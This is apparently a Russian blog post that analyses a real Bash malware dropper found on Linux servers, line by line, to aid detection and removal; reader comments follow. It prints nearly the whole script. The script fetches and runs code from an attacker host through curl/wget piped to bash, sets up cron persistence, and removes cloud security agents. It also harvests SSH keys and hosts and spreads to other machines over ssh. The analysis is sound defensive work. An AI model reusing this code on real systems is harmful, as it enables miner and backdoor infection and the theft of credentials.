Анализ вируса под Linux на Bash

Код вируса на Bash

В статье «Поиск и удаление вредоносных программ из Linux» мы рассмотрели типичные примеры как вирус в Linux закрепляет своё присутствие (чтобы сохраниться и запустится после перезагрузки), а также собрали примеры команд, которые позволят системному администратору выявить присутствие вредоносного ПО.

Мы нашли, что в расписание задач Cron записывается следующая строка:

(curl -fsSL http://bash.givemexyz.in/xms||wget -q -O- http://bash.givemexyz.in/xms||python -c 'import urllib2 as fbi;print fbi.urlopen("http://bash.givemexyz.in/xms").read()')| bash -sh; lwp-download http://bash.givemexyz.in/xms /tmp/xms; bash /tmp/xms; /tmp/xms; rm -rf /tmp/xms

Процесс на заражённом сервере выглядел так:

/bin/sh -c (curl -fsSL http://bash.givemexyz.in/xms||wget -q -O- http://bash.givemexyz.in/xms||python -c 'import urllib2 as fbi;print fbi.urlopen("http://bash.givemexyz.in/xms").read()')| bash -sh; lwp-download http://bash.givemexyz.in/xms /tmp/xms; bash /tmp/xms; /tmp/xms; rm -rf /tmp/xms

Рассмотрим эти команды. Первая часть с помощью curl, или wget или python пытается загрузить вредоносный код:

(curl -fsSL http://bash.givemexyz.in/xms ||
wget -q -O- http://bash.givemexyz.in/xms ||
python -c 'import urllib2 as fbi; print fbi.urlopen("http://bash.givemexyz.in/xms").read()')

Затем по трубе (конвейеру) этот код передаётся Bash для выполнения:

| bash -sh;

Далее функция lwp-download (которая не является встроенной функцией или командой Bash) вновь пытается загрузить этот же адрес и сохранить код в файл /tmp/xms, затем делается две попытки запустить указанный файл и, наконец, он удаляется:

lwp-download http://bash.givemexyz.in/xms /tmp/xms;
bash /tmp/xms;
/tmp/xms;
rm -rf /tmp/xms

Скачаем код по ссылке — как и можно было ожидать, им оказался Bash скрипт:

Анализ вируса для Linux

Скрипт довольно большой — 300+ строк, интересен скрипт тем, что не просто загружает и запускает вредоносный код, но ещё и пытается заразить другие компьютеры в сети! Анализ вредоносных программ кроме очевидной цени — изучение принципа их работы, — также может помочь с выявлением приёмов, которым вирус пытался замаскироваться и закрепиться в системе. Последнее нужно для полного удаления вредоносного кода из компьютера. Разберём построчно весь код вируса.

Устанавливаются значение переменных $SHELL и $PATH — видимо, это необходимо для работоспособности скрипта:

SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin

Отключение форсированного режима SELinux:

setenforce 0 2>/dev/null

Устанавливается максимальное количество процессов, которое может иметь один пользователь — не уверен для чего, возможно, оптимизация для работы майнера, который скачивает данный вирус:

ulimit -u 50000

С помощью команды (это команда не из вируса)

ulimit -a

можно посмотреть текущие значения: в домашнем компьютере у меня 127782 процессов на пользователя, на сервере это 11873 — видимо, значение устанавливается автоматически, например, исходя из количество оперативной памяти или ядер процессора.

Зачем-то в скаченном коде устанавливается значение Huge Pages — может быть, ещё одна оптимизация для майнера. В качестве значение берётся количество ядер и умножается на 3:

sysctl -w vm.nr_hugepages=$((`grep -c processor /proc/cpuinfo` * 3))

Следующий набор команд убивает процессы, которые используют сетевые соединения с указанными портами и IP адресами — возможно, вирус удаляет конкурентов или свои старые версии:

netstat -antp | grep ':3333'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':4444'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':5555'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':7777'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':14444'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':5790'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':45700'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':2222'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':9999'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':20580'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':13531'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '23.94.24.12:8080'  | awk '{print $7}' | sed -e 's/\/.*//g' | xargs kill -9
netstat -antp | grep '134.122.17.13:8080'  | awk '{print $7}' | sed -e 's/\/.*//g' | xargs kill -9
netstat -antp | grep '107.189.11.170:443'  | awk '{print $7}' | sed -e 's/\/.*//g' | xargs kill -9

Довольно интересный способ получить случайные значения:

rand=$(seq 0 255 | sort -R | head -n1)
rand2=$(seq 0 255 | sort -R | head -n1)

Но значения этих переменных не используются. В дальнейшем переменной $rand заново присваивается случайное значение в нужном автору диапазоне. Можно отметить, что диапазон 0-255 характерен для IP адресов.

Снимается блокировка с перечисленных файлов — на эти файлы нужно обратить внимание при удалении вируса:

chattr -i -a /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.hourly/oanacroner1 /etc/init.d/down

Смотрите также: Атрибуты файлов в Linux

Следующий фрагмент кода всячески пытается удалить службы aliyun и yunjing — я не знаю, что это за службы, судя по всему, инструменты администрирования и мониторинга (облачных) серверов Linux:

if ps aux | grep -i '[a]liyun'; then
	(wget -q -O - http://update.aegis.aliyun.com/download/uninstall.sh||curl -s http://update.aegis.aliyun.com/download/uninstall.sh)|bash; lwp-download http://update.aegis.aliyun.com/download/uninstall.sh /tmp/uninstall.sh; bash /tmp/uninstall.sh
	(wget -q -O - http://update.aegis.aliyun.com/download/quartz_uninstall.sh||curl -s http://update.aegis.aliyun.com/download/quartz_uninstall.sh)|bash; lwp-download http://update.aegis.aliyun.com/download/quartz_uninstall.sh /tmp/uninstall.sh; bash /tmp/uninstall.sh
	pkill aliyun-service
	rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
	rm -rf /usr/local/aegis*
	systemctl stop aliyun.service
	systemctl disable aliyun.service
	service bcm-agent stop
	yum remove bcm-agent -y
	apt-get remove bcm-agent -y
elif ps aux | grep -i '[y]unjing'; then
	/usr/local/qcloud/stargate/admin/uninstall.sh
	/usr/local/qcloud/YunJing/uninst.sh
	/usr/local/qcloud/monitor/barad/admin/uninstall.sh
fi
sleep 1
echo "DER Uninstalled"

В оригинальном коде здесь используются нетипичные отступы, видимо, это копипаста из другого источника — не авторская наработка.

Снимается защита от удаления и записи файла /tmp/dbused — запоминаем это расположение для поиска следов вируса:

chattr -ai /tmp/dbused

Следующий код с помощью ifconfig или ip пытается получить префикс сети, например, «192.168»:

if [ -s /usr/bin/ifconfig ];
then
	range=$(ifconfig | grep "BROADCAST\|inet" | grep -oP 'inet\s+\K\d{1,3}\.\d{1,3}' | grep -v 127 | grep -v inet6 |grep -v 255 | head -n1)
else
	range=$(ip a | grep "BROADCAST\|inet" | grep -oP 'inet\s+\K\d{1,3}\.\d{1,3}' | grep -v 127 | grep -v inet6 |grep -v 255 | head -n1)
fi

Значение префикса сети записывается в переменную $range, которая как и $rand с $rand2 нигде не используется — возможно, это недописанная (неудачная) задумка.

Проверяется связь с майнинг пулом, если она отсутствует, то переменной $dns присваивается значение -d, которое затем передаётся программе-майнеру:

if [ $(ping -c 1 pool.supportxmr.com 2>/dev/null|grep "bytes of data" | wc -l ) -gt '0' ];
then
	dns=""
else
	dns="-d"
fi

Теперь проверяется связь до сервера злоумышленника, если она есть, в качестве адреса будет использоваться URL, если пинг неудачный, то в качестве адреса будет записан IP:

if [ $(ping -c 1 bash.givemexyz.in 2>/dev/null|grep "bytes of data" | wc -l ) -gt '0' ];
then
	url="http://bash.givemexyz.in"
else
	url="http://104.244.75.159"
fi

Эти строки пытаются прописать вирус в задачах Cron:

echo -e "*/1 * * * * root (curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms\n##" > /etc/cron.d/root
echo -e "*/2 * * * * root (curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms\n##" > /etc/cron.d/apache
echo -e "*/3 * * * * root (curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms\n##" > /etc/cron.d/nginx
echo -e "*/30 * * * *	(curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms\n##" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo -e "* * * * *	(curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms\n##" > /var/spool/cron/crontabs/root
mkdir -p /etc/cron.hourly
echo "(curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms" > /etc/cron.hourly/oanacroner1 | chmod 755 /etc/cron.hourly/oanacroner1

Обратите внимание, что используется переменная $DIR, но она нигде ещё не устанавливалась.

Это может означать, что вирус записывает правильные строки в Cron только при втором его запуске, когда в оболочке уже установлено значение $DIR (или вовсе не записывает правильное значение).

Посмотрите пример (эта команда не из вируса):

echo $DIR; DIR='something'

если запустить только один раз, то ничего не будет выведено. Но если запустить второй раз эту же команду, то будет выведена строка. Если закрыть и открыть терминал, а затем снова запустить команду, то опять ничего не будет выведено.

Также нигде не объявлялась функция «lwp-download», которая вызывается с аргументами $url/xms и $DIR/xms, то есть файл сохраняется с именем «xms».

«\n##» - это символ новой строки и две решётки на следующей (комментарий) (эта команда не из вируса):

echo -e '\n##'

##

Возвращаемся к коду вируса. Ага, наконец устанавливается значение переменной $DIR:

DIR="/tmp"

Выполняется переход в папку /tmp:

cd $DIR

Следующий код вычисляет MD5 хеш для файла /tmp/dbused и сравнивает его с двумя хешами. Если хеш не совпадает, то удаляется файл /usr/local/lib/libkk.so, стирается файла /etc/ld.so.preload, завершаются 2 процесса в именах которых есть «wc.conf» и «susss» – видимо, это очистка от старой версии. Если файл вовсе отсутствует, то создаётся директория в /tmp.

if [ -a "/tmp/dbused" ]
then
	if [ -w "/tmp/dbused" ] && [ ! -d "/tmp/dbused" ]
	then
		if [ -x "$(command -v md5sum)" ]
		then
			sum=$(md5sum /tmp/dbused | awk '{ print $1 }')
			echo $sum
			case $sum in
			dc3d2e17df6cef8df41ce8b0eba99291 | 101ce170dafe1d352680ce0934bfb37e)
				echo "x86_64 OK"
  			;;
			*)
 				echo "x86_64 wrong"
				rm -rf /usr/local/lib/libkk.so
   				echo "" > /etc/ld.so.preload
				pkill -f wc.conf
				pkill -f susss
				sleep 4
			;;
			esac
		fi
	echo "P OK"
	else
		DIR=$(mktemp -d)/tmp
		mkdir $DIR
		echo "T DIR $DIR"
	fi
else
	if [ -d "/tmp" ]
	then
		DIR="/tmp"
	fi
	echo "P NOT EXISTS"
fi

Проверяется наличие директории /tmp/.sh/dbused (запоминаем для поиска экземпляров вируса) и если её нет, то создаётся временная папка.

if [ -d "/tmp/.sh/dbused" ]
then
	DIR=$(mktemp -d)/tmp
	mkdir $DIR
	echo "T DIR $DIR"
fi

Объявление функции get, функция убирает блокировку с файла (имя передаётся во втором аргументе, а URL в первом аргументе функции), пытается его скачать тремя разными способами и сохраняет файл, делая его исполнимым:

get() {
	chattr -i $2; rm -rf $2
	wget -q -O - $1 > $2 || curl -fsSL $1 -o $2 ||  lwp-download $1 $2 ||
	chmod +x $2
}

Объявление функции downloadIfNeed, которая нигде не используется. Она проверяет, имеется ли файл «$DIR/dbused», если нет, то скачивает его, если имеется, то проверяет MD5 хеш, сравнивая с двумя значениями. Если хеш неверный, то пытается его скачать.

Новые имена файлов вируса:

  • $DIR/x86_64
  • $DIR/sssus
  • $DIR/tmp.txt
downloadIfNeed()
{
	if [ -x "$(command -v md5sum)" ]
	then
		if [ ! -f $DIR/dbused ]; then
		echo "File not found!"
		download
	fi
	sum=$(md5sum $DIR/dbused | awk '{ print $1 }')
	echo $sum
	case $sum in
		dc3d2e17df6cef8df41ce8b0eba99291 | 101ce170dafe1d352680ce0934bfb37e)
			echo "x86_64 OK"
		;;
		*)
			echo "x86_64 wrong"
			sizeBefore=$(du $DIR/x86_64)
 			if [ -s /usr/bin/curl ];
				then
 				WGET="curl -k -o ";
			fi
    			if [ -s /usr/bin/wget ];
      			then
 				WGET="wget --no-check-certificate -O ";
  			fi
			download
			sumAfter=$(md5sum $DIR/x86_64 | awk '{ print $1 }')
    			if [ -s /usr/bin/curl ];
			then
				echo "redownloaded $sum $sizeBefore after $sumAfter " `du $DIR/sssus` > $DIR/tmp.txt
			fi
		;;
	esac
	else
		echo "No md5sum"
		download
	fi
}

Ещё один фрагмент кода, который фактически не используется, поскольку представляет собой объявление функции, вызываемой только из другого неиспользуемого фрагмента кода.

Упоминаются возможные имена вируса

  • $DIR/x86_643
  • $DIR/x86_64
download() {
	if [ -x "$(command -v md5sum)" ]
	then
		sum=$(md5sum $DIR/x86_643 | awk '{ print $1 }')
		echo $sum
		case $sum in
			dc3d2e17df6cef8df41ce8b0eba99291 | dc3d2e17df6cef8df41ce8b0eba99291)
				echo "x86_64 OK"
				cp $DIR/x86_643 $DIR/x86_64
				cp $DIR/x86_643 $DIR/x86_64
			;;
			*)
				 echo "x86_64 wrong"
				download2
			;;
		esac
	else
		echo "No md5sum"
		download2
	fi
}

И ещё одна функция, которая вызывается только в другой неиспользуемой функции:

download2() {
	get $url/$(uname -m) "$DIR"/dbused
	if [ -x "$(command -v md5sum)" ]
	then
		sum=$(md5sum $DIR/dbused | awk '{ print $1 }')
		echo $sum
		case $sum in
			dc3d2e17df6cef8df41ce8b0eba99291 | 101ce170dafe1d352680ce0934bfb37e)
 				echo "x86_64 OK"
   				cp $DIR/x86_64 $DIR/x86_643
			;;
			 *)
				echo "x86_64 wrong"
			;;
		esac
	else
		echo "No md5sum"
	fi
}

В следующей функции проверяется, установлено ли соединение с 212.114.52.24:8080 или 194.5.249.24:8080, и если это не так, то скачивается файл $url/$(uname -m), то есть фактически bash[.]givemexyz[.]in/x86_64 и сохраняется он в файл по пути /tmp/dbused. Скаченный файл делается исполнимым и запускается дважды с опцией «-pwn» и опцией «-c $dns», значение переменной $dns может быть «-d» или пустая строка.

judge() {
	if [ ! "$(netstat -ant|grep '212.114.52.24:8080\|194.5.249.24:8080'|grep 'ESTABLISHED'|grep -v grep)" ];
	then
		get $url/$(uname -m) "$DIR"/dbused
		chmod +x "$DIR"/dbused
		"$DIR"/dbused -c $dns
		"$DIR"/dbused -pwn
		sleep 5
	else
		echo "Running"
	fi
}

Этот код опят проверяет подключения до 212.114.52.24:8080 и 194.5.249.24:8080 и если нет установленных подключений или прослушивания портов, то запускает предыдущую функцию judge.

if [ ! "$(netstat -ant|grep '212.114.52.24:8080\|194.5.249.24:8080'|grep 'LISTEN\|ESTABLISHED\|TIME_WAIT'|grep -v grep)" ];
then
	judge
else
	echo "Running"
fi

Следующий код проверят наличие установленного подключения до 104.168.71.132:80 и если оно отсутствует, то скачивает файл bash[.]givemexyz[.]in/bashirc.x86_64, который сохраняет по пути /tmp/bashirc. Скаченным файлом является троян (бэкдор) ботнета Tsunami. Можно сделать вывод, что одним из управляющих серверов данного ботнета является 104.168.71.132.

Можно попытаться выполнить анализ трафика, связанные статьи:

if [ ! "$(netstat -ant|grep '104.168.71.132:80'|grep 'ESTABLISHED'|grep -v grep)" ];
then
	get $url/bashirc.$(uname -m) "$DIR"/bashirc
	chmod 777 "$DIR"/bashirc
	"$DIR"/bashirc
else
	echo "Running"
fi

Функция, которая пытается закрепить вирус в системе. Код отличается отступами от остального кода, в отличие от предыдущих попыток записаться в расписание задач Cron, здесь используются уже объявленная переменная $DIR (хотя функция lwp-download так нигде и не была объявлена).

В коде имеется ряд ошибок:

  • используется команда «at», которая обычно отсутствует по умолчанию
  • используется переменная $RANDOM, значение которой не установлено

Тем не менее, можно догадаться, что логика следующая: если недоступно закрепление вируса через Cron, то он пытается сохраниться в одном из следующих расположений, выбранных наугад:

  • /dev/shm/cruner
  • /tmp/cruner
  • /var/tmp/cruner
  • /home/$(whoami)/cruner
  • /run/user/$(echo $UID)/cruner
  • /run/user/$(echo $UID)/systemd/cruner

В качестве вируса сохраняется полезная нагрузка из переменной $pay.

cronbackup() {
	pay="(curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR" 
	status=0 
	crona=$(systemctl is-active cron) 
	cronb=$(systemctl is-active crond) 
	cronatd=$(systemctl is-active atd) 
	if [ "$crona" == "active" ] ; then 
		echo "cron okay" 
	elif [ "$cronb" == "active" ]; then 
		echo "cron okay" 
	elif [ "$cronatd" == "active" ] ; then 
		status=1 
	else 
		status=2 
	fi 
	if [ $status -eq 1 ] ; then 
		for a in $(at -l|awk '{print $1}'); do at -r $a; done 
		echo "$pay" | at -m now + 1 minute 
	fi 
	if [ $status -eq 2 ] || [ "$me" != "root" ] ;then
		arr[0]="/dev/shm"
		arr[1]="/tmp"
		arr[2]="/var/tmp"
		arr[3]="/home/$(whoami)"
		arr[4]="/run/user/$(echo $UID)"
		arr[5]="/run/user/$(echo $UID)/systemd" 
		rand=$[$RANDOM % ${#arr[@]}]
		echo "Setting up custom backup" 
		ps auxf|grep -v grep|grep "cruner" | awk '{print $2}'|xargs kill -9 
		key="while true; do sleep 60 && $pay; done" 
		echo -e "$key\n##" > ${arr[$rand]}/cruner && chmod 777 ${arr[$rand]}/cruner 
		nohup ${arr[$rand]}/cruner >/dev/null 2>&1 &
		sleep 15 
		rm -rf ${arr[$rand]}/cruner 
	fi 
} 
cronbackup

Следующий фрагмент даёт нам ещё один IP 209.141.40.190 — если он не упоминается в какой-либо задаче Cron, то делается попытка записать уже знакомую нам полезную нагрузку.

if crontab -l | grep -q "$url\|209.141.40.190"
then
	echo "Cron exists"
else
	crontab -r
	echo "Cron not found"
	echo "* * * * * (curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms" | crontab -
fi

Наконец, в этой части вирус пытается проникнуть в компьютеры, на которые когда-либо выполнялся вход с заражённой системы и выполнить там вредоносный код.

Собираются ключи

  • id_rsa*pub из директорий и поддиректорий ~/, /root и /home
  • IdentityFile из ~/.ssh/config, /home/*/.ssh/config и /root/.ssh/config
  • *.pem из директорий и поддиректорий ~/, /root и /home

Собираются имена хостов

  • из полей HostName файлов ~/.ssh/config, /home/*/.ssh/config и /root/.ssh/config
  • из команд ssh и scp, найденных в файлах ~/.bash_history, /home/*/.bash_history и /root/.bash_history
  • IP адреса из файлов ~/*/.ssh/known_hosts, /home/*/.ssh/known_hosts и /root/.ssh/known_hosts

Имена пользователей собираются следующим образом:

  • сканируются папки ~/, /root и /home и если там найден файл id_rsa в папке .ssh, то имя пользователя-владельца добавляется в список
  • в список добавляется root

Когда списки ключей, хостов и пользователей составлены, то начинается перебор с попыткой выполнить полезную нагрузку на удалённом хосте.

KEYS=$(find ~/ /root /home -maxdepth 2 -name 'id_rsa*' | grep -vw pub)
KEYS2=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep IdentityFile | awk -F "IdentityFile" '{print $2 }')
KEYS3=$(find ~/ /root /home -maxdepth 3 -name '*.pem' | uniq)
HOSTS=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep HostName | awk -F "HostName" '{print $2}')
HOSTS2=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)" | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}")
HOSTS3=$(cat ~/*/.ssh/known_hosts /home/*/.ssh/known_hosts /root/.ssh/known_hosts | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}" | uniq)
USERZ=$(
	echo "root"
	find ~/ /root /home -maxdepth 2 -name '\.ssh' | uniq | xargs find | awk '/id_rsa/' | awk -F'/' '{print $3}' | uniq | grep -v "\.ssh"
)
userlist=$(echo $USERZ | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
hostlist=$(echo "$HOSTS $HOSTS2 $HOSTS3" | grep -vw 127.0.0.1 | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
keylist=$(echo "$KEYS $KEYS2 $KEYS3" | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
for user in $userlist; do
	for host in $hostlist; do
		for key in $keylist; do
			chmod +r $key; chmod 400 $key
			ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=5 -i $key $user@$host "(curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms"
		done
	done
done

Бессмысленный код, поскольку данные файлы ранее не упоминались

rm -rf "$DIR"/2start.jpg
rm -rf "$DIR"/xmi

Наконец, делается попытка заблокировать от удаления указанные файлы — они содержат задачи Cron с полезной нагрузкой вируса.

chattr +ai -V /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.hourly/oanacroner1 /etc/init.d/down

Анализ бинарных файлов

Связанные статьи:

Как минимум, стоит попытаться найти строки в файлах вирусов, поскольку там могут быть имена файлов, IP адреса, полезная нагрузка:

rabin2 -z bashirc.x86_64
rabin2 -z x86_64

Но в данном случае ничего не найдено, возможно, из-за применения упаковщика UPX.

Информация на VirusTotal для dbused, он же x86_64: https://www.virustotal.com/gui/file/4809d9eeb0c9ff1b8ecb557dca4b50acfa02d1dbf308346338666a05b6a29c57/detection

Информация о bashirc.x86_64https://www.virustotal.com/gui/file/fc46525f37cc3f2a7e43d83dc5dd48ff8f7a456148e615cb9f592e6976635c1d/detection

Итак

Анализ полезной нагрузки, скриптов, исполнимых файлов может помочь найти способы закрепления вируса, адреса управляющих серверов, адреса загружаемых на компьютер жертвы вирусов.

Как можно понять по неиспользуемым фрагментам и стилистике кода, код прошёл определённое развитие, возможно, скомпилирован из разных источников.

Смотрите также: Структура директорий Linux. Важные файлы Linux

Рекомендуется Вам:

6 комментариев to Анализ вируса под Linux на Bash

  1. Саня:

    Статья для меня и для многих новичков очень полезная. немогу поставить оценку потому-что не на столько профессионал чтоб оценивать труды тех кто ломал над этим голову.

  2. Kali:

    Здравствуйте. Извиняюсь, что не по теме. Но может быть, Вы сможет мне помочь. В процессе обновления Kali экран погас, а после перезагрузки возникла следующая ошибка:

    You are in emergency mode. After logging in, type 'journalctl-xb' to view system logs, 'systemctl reboot'
    'systemctl default' or "exit" to boot into default mode.

    Cannot open access to console, the root account is locked.

    See sulogin(8) man page for more details.

    Press Enter to continue.

    Reloading system manager configuration

    После нажатия Enter всё повторяется.

     

Добавить комментарий

Ваш адрес email не будет опубликован.